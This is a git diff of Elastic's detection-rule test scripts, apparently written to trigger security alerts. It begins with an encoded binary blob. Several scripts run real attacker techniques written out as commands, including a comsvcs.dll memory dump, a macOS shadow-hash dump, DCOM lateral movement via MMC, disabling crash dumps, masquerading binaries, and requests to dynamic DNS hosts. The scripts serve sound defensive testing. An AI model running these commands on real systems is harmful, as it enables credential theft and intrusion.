z8pH#!R{M&rvEna8pLZsHt^HZL5Yw?g6{mNpGvRb9?;?n@sXhC`v$ohtGKGCi|I2Jfmc7L7e~MW(raa=P6& zIc?b|1Tw-CIMY&Jm44n3U3gM;q#3qWUsd{TuULS0Tctg-0vRjL?IP0#zaHO+6Ft)q z2R@$&apbdU$l((wx^E9;;Q!2&-n$z=^@+xr9^@?)nG5hK5~(q*os-jTh}ZIh=xVQ@ zbh+I(>2mX`s`OORe14ipZTu7bvbm?bbC=useh(ijSGkkx(jqI@bmVG>ZMu`^X{T=N zEz?@R{jycprNuelSK+Jn*3yYuoI1SzlvT&+>(w#QuH$&Nj)_hk;U&4)NAv24A;-nJ zfsEQ`i*Nho7qHJ`*NZ>ij*t57eU5kHKm6@n{07+8IQ!g;_}SRci`01^;=c$v;^eSw z*ngIB7`7*`mw&9CA8$tO{9~Q`+R|Kp9kv=L|6R!6-RWuUE)f~e)YSPcuqoa}Qv!{x zIOA6Axo5t}Sp6GLe;Pe}dVVc3CsaQlcM$hRlr6JzWbe&`h;^~VW_K2K*B7NWUOMe* z+=}^Y-jh*w{dmr5*FVas|7|fiooo1J5dZ|ACcl$Z6%q`@~cJVes{qzi*94=8Z?^ zjmPAT$K{PD=Z&Z4jc>~v&&(Uo$s5nh8!xoSo8!S9QC%|=S|}KeYG%;bC94xjSsMv! ziMXb^itrMx!kDA23dZ9JQwt^HW+YyxPZ=o&7h`QA6f|`$rpFS=eHub&NenS#n8DC4 zEfUwvnxq~?tkuaRtQE#cvBFsu9_kzT*4~O}bnkx{Ka>dTR}Vi}-kxLxl{f|2bvTvg zmow;Z=w@~&wR$oZF^oteZshOk%FS%Fw_9m#ci{p}vv)CDa}0K!hE`FVzp)UQxJz52 z=?)^X*$D2`6@E>fh}1@^zZ%>_ajP1j<@f5zt9t8>cgB{)oOk6)S8sHS@!Gc3ei`oB zWLyDUDZAq@36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@ zkN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg011!)36KB@kN^pg zfQvw>OQ%W#BtQZrKmsH{0wh2JBtQZrKmsH{0wh2JBtQZrKmsH{0wh2JBtQZrKmsH{ z0wh2JBtQZrKmsH{0wh2JBtQZrKmsH{0wh2JBtQZrKmsH{0wh2JBtQZrKmsK2KOmqX z=LX0@$Y_WMl5K_A0s1ocI513zz~H1>=kY?|==mmO9%MNL!9BYnO_1L}K7xD(xeO`w z2+vBalu{aISWhNvg$$aBh>$z>>&b+W`re2sWOZ#a5;v=bj0HnA5^jkk{4uxFnKFaM zE@|k|YUxbuj>%v&ng|6=eQ;(^GNROMFe9q#$Y-ssM#S1k7+OtI4~At3zosseb@8~B z1@UT=2~!W5){Z?=6bhe=p_sjTs1BYrSfwY$j7a?Z%IS_+FcKF_z(e@N5yPX0S0%!_ zxW^}Y_lW|LN+}Bre+EP$lv3jHtD(hzoTbCQ*w!a2U3sQ#eYRuoU25wFWIR*FWUaqb~h1m;SU%KjzY3a_J{s`Wr6&yh~U2P;GxWqzEzsG73@*xe21~ zZ3#pXyctpex!RhMn7`gS4HxmsGnLMnI=yq0xQjU9|F4Vt)nAG`aN9Is$ljGw%;EZZ zi-i}|yw+7z$Gruj8t``ZYF-PqJ#*dPK-TJUJ|vqRzOG<0CSH2w+1)da9y;{oH;kV> z+_!1q`> zZej~8xuix}wg$f>AYNJ_1Sk)vg$kt+2~JXxfDl9hp@LE{52@C|NS3G|R3_$sX706j zZ(IppkdXc(%{?D8bLPx%X7+9N*Khvy)}2bVbtt9UQF~Djb}2QX9B4|t8`VYCdhfue zlAlfPdqTXerLEOm(ULf?qNCOak_Qj8b}{13@pRV9m%R#n@pxYf z}x>`JzD`s@AI9xJz>wcWs z*1BG?<1w1!%f5co#MwD;U_kG9V$XiNy9pa7+Q+z*?U5>J%bC;qaH(lqVXqu-9r~J* zu;W8Z3IElR0V#PkP;H#1hVfWluuVx=5#<%FS?hdC`=f=SQeKyX%3H=eWQXIxwdRGp zrFx<^NUbxeAhqm>=XYp)nThlgJ3Pu_-d1Ft_I~c(wdd2xox7sDH62?gY$;BsmBKwd zGRE-%WWGtXX`E?@ZpbZ=QAtcIH3P%BVCNG)vKM98_lW-zJ_vXh#9mY>5?`uJDR;P; z1I(84!bPRt)8etl8VCnf_I6{{uWZcchBjtK^BLGuWQ^qT)f;eJt`=Df0>kX_GZ~WbVgO+Lm)cKKn=g zz$cJy%T z%B@YTTU=bMCvVm!J}AoAe4~KwZvC9`pA@HCyWmbfat|J2y`UPq(0Vz!0QchTkMX9- zy_}Snaw2C$*2ms(C##LK^33UFc|X;7pm};cSd;`W;Te>jzBiop9}=s6PE5CU5%c{S z!!Y0P;m3TpWWG%ukmwB8QcUx+1;&EMopf9Y`|5v zE>W{at)lZu({b|gd+l@%;+dmzQf4`iG}X)Us&4n>#AY}eccVSNn6F`|#W^1?<|0O5 zF=E=q+yEjRn(x3L;am&-r-t7TtruTaPcFDmzasbM$xFi&R!Eua+|#(T0*q*q8$|NCD96^ofhqj zqCGEKO|(;@of7R?(N2r@WzjB+HUe$1m>SA^PEc~vseIlEQvMM=T&n1DF5{Gnj)=a@ zR;SP3;Os~hi>1Ixmx@8ISoPk&N-Yn@*it$bcuv79lq#bRLO2zu@c2P0eZMysZrlum3k_1SA1W14cNPq-LfCNZ@1W14c zNPq-LfCNZ@1W14cNPq-LfCNZ@1W14cNPq-LfCNZ@1W14cNPq-LfCNZ@1W14cNPq-L zfCNZ@1W14cNPq-LfCNZ@1W14cNT7+p+6UC<#ax@vTKhr9t5nMBGZi(J(1lbwtAmt( zMEhQTSi_YW&1cZ5I;4kkMRZkD%9oL;pp+B68@e}=3qtLFIn4nZa z5VRbY1}ADbTF|L{zLZV{p7_@{`Hxj{*11WXUcvXw6kA{|&yaxS=RL11qg@y#^2ytG7*N}E<)szVpDSeciuVpJ9pu=WRY z#iyj}#|o)jQEhF;7o@SL ztruTwzsuO@|ERU^6C3@r3&cB7fkeFx^)A%asBcGIgW7{CG}ofujoO8} z3iTbR|Ls@|QI66p?7a^6K9u2> {fake_clr_logs}"], timeout=10) + common.remove_files(msxsl, fake_clr_logs) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/cmd_shell_via_word.py b/rta/cmd_shell_via_word.py new file mode 100644 index 000000000..75a596dcc --- /dev/null +++ b/rta/cmd_shell_via_word.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6c399694-d21c-4a19-9e58-8fa24eb399b9", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Windows Command Shell Spawned via Microsoft Office", + "rule_id": "2a396a3c-b343-42a9-b74b-c5b9925b6ee2", + } + ], + siem=[], + techniques=["T1566", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE, binary) + + # Execute command + common.execute([binary, "/c", "cmd.exe /c 'echo comspec'"], timeout=5, kill=True) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/cmstp_image_load.py b/rta/cmstp_image_load.py new file mode 100644 index 000000000..92209a3ca --- /dev/null +++ b/rta/cmstp_image_load.py @@ -0,0 +1,50 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="aa6bf766-db74-4db5-8eec-f91386b1285b", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Scriptlet Execution via CMSTP", "rule_id": "8adfa9ad-0ed2-4b1b-bdad-f2c52e1d2a00"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + cmstp = "C:\\Users\\Public\\cmstp.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\scrobj.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, cmstp) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, cmstp, "--set-version-string", "OriginalFilename", "CMSTP.EXE"]) + + common.log("Loading scrobj.dll into fake cmstp") + common.execute([cmstp, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + + common.remove_files(cmstp, dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/common.py b/rta/common.py index 365823e32..2e706a35b 100644 --- a/rta/common.py +++ b/rta/common.py @@ -11,6 +11,7 @@ import functools import getpass import inspect import os +import platform import re import shutil import socket @@ -181,7 +182,7 @@ def temporary_file(contents, file_name=None): def temporary_file_helper(contents, file_name=None): if not (file_name and os.path.isabs(file_name)): - file_name = os.path.join(tempfile.gettempdir(), file_name or "temp{:d}".format(hash(contents))) + file_name = os.path.join(tempfile.gettempdir(), file_name or f"temp{hash(contents):d}") with open(file_name, "wb" if isinstance(contents, bytes) else "w") as f: f.write(contents) @@ -302,6 +303,16 @@ def copy_file(source, target): shutil.copy(source, target) +def create_macos_masquerade(masquerade: str): + if platform.processor() == "arm": + name = "com.apple.ditto_and_spawn_arm" + else: + name = "com.apple.ditto_and_spawn_intel" + source = get_path("bin", name) + + copy_file(source, masquerade) + + def link_file(source, target): log("Linking %s -> %s" % (source, target)) execute(["ln", "-s", source, target]) @@ -323,7 +334,7 @@ def remove_file(path): def remove_directory(path): if os.path.exists(path): if os.path.isdir(path): - log("Removing directory {:s}".format(path), log_type="-") + log(f"Removing directory {path:s}", log_type="-") shutil.rmtree(path) else: remove_file(path) @@ -361,7 +372,7 @@ def serve_web(ip=None, port=None, directory=BASE_DIR): pass def server_thread(): - log("Starting web server on http://{ip}:{port:d} for directory {dir}".format(ip=ip, port=port, dir=directory)) + log(f"Starting web server on http://{ip}:{port:d} for directory {directory}") os.chdir(directory) server.serve_forever() @@ -505,13 +516,21 @@ def run_system(arguments=None): return code -def write_reg(hive, key, value, data, data_type=None, restore=True, pause=False, append=False): - # type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None +def write_reg( + hive: str, + key: str, + value: str, + data: Union[str, int], + data_type: Union[str, int, list], + restore=True, + pause=False, + append=False, +) -> None: with temporary_reg(hive, key, value, data, data_type, restore, pause, append): pass -def read_reg(hive, key, value): # type: (str, str, str) -> (str, str) +def read_reg(hive: str, key: str, value: str) -> (str, str): winreg = get_winreg() if isinstance(hive, str): @@ -537,8 +556,16 @@ def read_reg(hive, key, value): # type: (str, str, str) -> (str, str) @contextlib.contextmanager -def temporary_reg(hive, key, value, data, data_type="sz", restore=True, pause=False, append=False): - # type: (str, str, str, str|int, str|int|list, bool, bool, bool) -> None +def temporary_reg( + hive: str, + key: str, + value: str, + data: Union[str, int], + data_type: Union[str, int, list] = "sz", + restore=True, + pause=False, + append=False, +) -> None: winreg = get_winreg() if isinstance(hive, str): @@ -618,7 +645,7 @@ def temporary_reg(hive, key, value, data, data_type="sz", restore=True, pause=Fa def enable_logon_auditing(host="localhost", verbose=True, sleep=2): """Enable logon auditing on local or remote system to enable 4624 and 4625 events.""" if verbose: - log("Ensuring audit logging enabled on {}".format(host)) + log(f"Ensuring audit logging enabled on {host}") auditpol = "auditpol.exe /set /subcategory:Logon /failure:enable /success:enable" enable_logging = "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList '{}'".format( diff --git a/rta/comsvcs_dump.py b/rta/comsvcs_dump.py index 0fe256d91..42c29a04c 100644 --- a/rta/comsvcs_dump.py +++ b/rta/comsvcs_dump.py @@ -12,14 +12,42 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="413cf7ef-0fad-46fd-ab67-e94c4e3e0f0b", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "c5c9f591-d111-4cf8-baec-c26a39bc31ef", + "rule_name": "Potential Credential Access via Renamed COM+ Services DLL", + }, + {"rule_id": "208dbe77-01ed-4954-8d44-1e5751cb20de", "rule_name": "LSASS Memory Dump Handle Access"}, + { + "rule_id": "00140285-b827-4aee-aa09-8113f58a08f3", + "rule_name": "Potential Credential Access via Windows Utilities", + }, + ], + techniques=["T1003"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Memory Dump via Comsvcs") pid = os.getpid() - common.execute(["powershell.exe", "-c", "rundll32.exe", "C:\\Windows\\System32\\comsvcs.dll", - "MiniDump", "{} dump.bin full".format(pid)]) + common.execute( + [ + "powershell.exe", + "-c", + "rundll32.exe", + "C:\\Windows\\System32\\comsvcs.dll", + "MiniDump", + "{} dump.bin full".format(pid), + ] + ) time.sleep(1) common.remove_file("dump.bin") diff --git a/rta/crashdump_disabled.py b/rta/crashdump_disabled.py new file mode 100644 index 000000000..720562152 --- /dev/null +++ b/rta/crashdump_disabled.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="775ffaa8-7a44-490b-b13d-1bfa2100b1ae", + platforms=["windows"], + endpoint=[ + {"rule_name": "CrashDump Disabled via Registry Modification", "rule_id": "77ca3fcc-f607-45e0-837e-e4173e4ffc2a"} + ], + siem=[], + techniques=["T1112"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log("Temporarily disabling CrashDump...") + + key = "System\\CurrentControlSet\\Control\\CrashControl" + value = "CrashDumpEnabled" + data = "0" + + with common.temporary_reg(common.HKLM, key, value, data): + pass + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/credential_access_dump_hashes_via_cmd.py b/rta/credential_access_dump_hashes_via_cmd.py new file mode 100644 index 000000000..307515a5c --- /dev/null +++ b/rta/credential_access_dump_hashes_via_cmd.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="0a6fcfaa-db5e-498f-9253-0f76b8a18687", + platforms=["macos"], + endpoint=[ + {"rule_name": "Dumping Account Hashes via Built-In Commands", "rule_id": "2ed766db-e0b0-4a07-8ec1-4e41dd406b64"} + ], + siem=[ + {"rule_name": "Dumping Account Hashes via Built-In Commands", "rule_id": "02ea4563-ec10-4974-b7de-12e65aa4f9b3"} + ], + techniques=["T1003"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing defaults commands to dump hashes.") + common.execute(["defaults", "ShadowHashData", "-dump"]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/credential_access_known_utilities.py b/rta/credential_access_known_utilities.py new file mode 100644 index 000000000..abbf8d59b --- /dev/null +++ b/rta/credential_access_known_utilities.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="374718be-d841-4381-a75f-ef54f0d5eb18", + platforms=["windows"], + endpoint=[ + {"rule_name": "Credential Access via Known Utilities", "rule_id": "3c44fc50-2672-48b3-af77-ff43b895ac70"} + ], + siem=[], + techniques=["T1003"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "ProcessDump.exe" + common.copy_file(EXE_FILE, binary) + + # Execute command + common.execute([binary], timeout=5, kill=True) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/credential_access_osascript_phishing.py b/rta/credential_access_osascript_phishing.py new file mode 100644 index 000000000..64e223b5e --- /dev/null +++ b/rta/credential_access_osascript_phishing.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="cc7b01f9-852c-4232-8c70-ada3fb5cc515", + platforms=["macos"], + endpoint=[ + {"rule_name": "Potential Credentials Phishing via OSASCRIPT", "rule_id": "318d3d9d-ba60-40e3-bc8c-3d3304209a3c"} + ], + siem=[{"rule_name": "Prompt for Credentials with OSASCRIPT", "rule_id": "38948d29-3d5d-42e3-8aec-be832aaaf8eb"}], + techniques=["T1056"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/osascript" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake osascript commands to display passwords") + common.execute([masquerade, "osascript*display dialog*password*"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/credman_discovery.py b/rta/credman_discovery.py new file mode 100644 index 000000000..50eb18037 --- /dev/null +++ b/rta/credman_discovery.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="d12e0abb-017f-4321-adf2-20843f62b55d", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Potential Discovery of Windows Credential Manager Store", + "rule_id": "cc60be0e-2c6c-4dc9-9902-e97103ff8df9", + } + ], + siem=[], + techniques=["T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + appdata = os.getenv("LOCALAPPDATA") + credmanfile = f"{appdata}\\Microsoft\\Credentials\\a.txt" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + # Execute command + + common.execute([powershell, "/c", "echo AAAAAAAAAA >", credmanfile], timeout=10) + common.log("Cat the contents of a sample file in credman folder") + common.execute([powershell, "/c", "cat", credmanfile], timeout=10) + common.remove_file(credmanfile) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/cscript_suspicious_args.py b/rta/cscript_suspicious_args.py new file mode 100644 index 000000000..73f01c368 --- /dev/null +++ b/rta/cscript_suspicious_args.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5a2a5c20-73f6-4a08-a767-95d242b52708", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Windows Script Process Execution", "rule_id": "ffbab5db-73ae-42fd-a33f-36bf649f41cc"}, + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + cscript = "C:\\Users\\Public\\cscript.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, cscript) + common.copy_file(RENAMER, rcedit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, cscript, "--set-version-string", "OriginalFilename", "cscript.exe"]) + + cmd = "echo {16d51579-a30b-4c8b-a276-0ff4dc41e755}; iwr google.com -UseBasicParsing" + common.log("Simulating a suspicious command line and making a web request") + common.execute([cscript, "-c", cmd], timeout=10) + + common.remove_files(cscript, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/curl_payload_download.py b/rta/curl_payload_download.py new file mode 100644 index 000000000..b6c56d2d9 --- /dev/null +++ b/rta/curl_payload_download.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="bf7645b2-d0cf-428d-a158-b1479160e60c", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Payload Downloaded by Process Running in Suspicious Directory", + "rule_id": "04d124d4-2be7-405e-b830-9494f927a51e", + } + ], + siem=[], + techniques=["T1105"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/testfile" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake curl commands to download payload") + common.execute([masquerade, "childprocess", "curl", "portquiz.net"], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/darkradiation.py b/rta/darkradiation.py new file mode 100644 index 000000000..54cda4da7 --- /dev/null +++ b/rta/darkradiation.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4843eb25-3579-473a-b309-76d02eda3085", + platforms=["macos", "linux"], + endpoint=[{"rule_name": "DARKRADIATION Ransomware Infection", "rule_id": "33309858-3154-47a6-b601-eda2de62557b"}], + siem=[], + techniques=["T1486"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/xargs" + if common.CURRENT_OS == "linux": + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake xargs command to execute DARKRADIATION infection") + common.execute([masquerade, "openssl", "enc", "test.☢test"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dcom_lateral_movement_with_mmc.py b/rta/dcom_lateral_movement_with_mmc.py index 14574823c..cb54ac95d 100644 --- a/rta/dcom_lateral_movement_with_mmc.py +++ b/rta/dcom_lateral_movement_with_mmc.py @@ -11,9 +11,19 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os("windows") +metadata = RtaMetadata( + uuid="7f4cfcf6-881b-48b0-864d-21eba06e57cc", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "51ce96fb-9e52-4dad-b0ba-99b54440fc9a", "rule_name": "Incoming DCOM Lateral Movement with MMC"}], + techniques=["T1021"], +) + + +@common.requires_os(metadata.platforms) def main(remote_host=None): remote_host = remote_host or common.get_ip() common.log("DCOM Lateral Movement with MMC") @@ -29,7 +39,9 @@ def main(remote_host=None): $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\cmd.exe',$null,'whoami','7'); $dcom.Document.ActiveView.ExecuteShellCommand('C:\\Windows\\System32\\calc.exe',$null,$null,'7'); $dcom.quit(); - """.format(remote_host=remote_host) + """.format( + remote_host=remote_host + ) command = ["powershell", "-c", ps_command] diff --git a/rta/ddns_lolbas.py b/rta/ddns_lolbas.py new file mode 100644 index 000000000..af9a1cb43 --- /dev/null +++ b/rta/ddns_lolbas.py @@ -0,0 +1,37 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="95d34e55-789d-40bf-9988-dbb803c2d066", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Connection to Dynamic DNS Provider by a Signed Binary Proxy", + "rule_id": "fb6939a2-1b54-428c-92a2-3a831585af2a", + } + ], + siem=[], + techniques=["T1218", "T1071"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + # Execute command + common.log("Using PowerShell to connect to a DDNS provider website") + common.execute( + [powershell, "/c", "iwr", "https://www.noip.com", "-UseBasicParsing"], + timeout=10, + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/ddns_unsigned.py b/rta/ddns_unsigned.py new file mode 100644 index 000000000..bff4ad7ab --- /dev/null +++ b/rta/ddns_unsigned.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="9e85eb9f-ee9e-4c73-8a83-14dd29a5aa80", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Connection to Dynamic DNS Provider by an Unsigned Binary", + "rule_id": "75b80e66-90d0-4ab6-9e6b-976f7d690906", + } + ], + siem=[], + techniques=["T1071"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, posh) + + # Execute command + common.log("Using PowerShell to connect to a DDNS provider website") + common.execute([posh, "/c", "iwr", "https://www.noip.com", "-UseBasicParsing"], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/defensive_evasion_reflective_loading.py b/rta/defensive_evasion_reflective_loading.py new file mode 100644 index 000000000..a907afbe3 --- /dev/null +++ b/rta/defensive_evasion_reflective_loading.py @@ -0,0 +1,29 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b023cf4b-2856-4170-9ea0-884041904159", + platforms=["macos"], + endpoint=[ + {"rule_name": "MacOS Monterey Reflective Code Loading", "rule_id": "16fba7a9-f8f6-43ce-ae24-6a392a48e49c"} + ], + siem=[], + techniques=["T1620", "T1106"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing deletion on /private/tmp/NSCreateObjectFileImageFromMemory-test file.") + common.temporary_file_helper("testing", file_name="/private/tmp/NSCreateObjectFileImageFromMemory-test") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/defensive_evasion_safari_modification.py b/rta/defensive_evasion_safari_modification.py new file mode 100644 index 000000000..11af1258b --- /dev/null +++ b/rta/defensive_evasion_safari_modification.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="9d02871f-6338-47aa-84c4-7d622692319f", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Modification of Safari Settings via Defaults Command", + "rule_id": "396e1138-243c-4215-a8ed-be303204710d", + } + ], + siem=[ + { + "rule_name": "Modification of Safari Settings via Defaults Command", + "rule_id": "6482255d-f468-45ea-a5b3-d3a7de1331ae", + } + ], + techniques=["T1562"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/defaults" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching commands to mimic defaults modifying safari configurations.") + common.execute([masquerade, "write", "com.apple.Safari", "JavaScript"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/delete_bootconf.py b/rta/delete_bootconf.py index 39509056a..e3d86d4fe 100644 --- a/rta/delete_bootconf.py +++ b/rta/delete_bootconf.py @@ -13,9 +13,19 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="eaf71384-2e38-4970-b170-9645ccde1d2b", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "69c251fb-a5d6-4035-b5ec-40438bd829ff", "rule_name": "Modification of Boot Configuration"}], + techniques=["T1490"], +) + + +@common.requires_os(metadata.platforms) def main(): # Messing with the boot configuration is probably not a great idea so create a backup: common.log("Exporting the boot configuration....") diff --git a/rta/delete_catalogs.py b/rta/delete_catalogs.py index 954b26f6d..24aa819dd 100644 --- a/rta/delete_catalogs.py +++ b/rta/delete_catalogs.py @@ -11,9 +11,19 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="8ffd2053-c04a-435a-84b3-a8403a5395db", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "581add16-df76-42bb-af8e-c979bfb39a59", "rule_name": "Deleting Backup Catalogs with Wbadmin"}], + techniques=["T1490"], +) + + 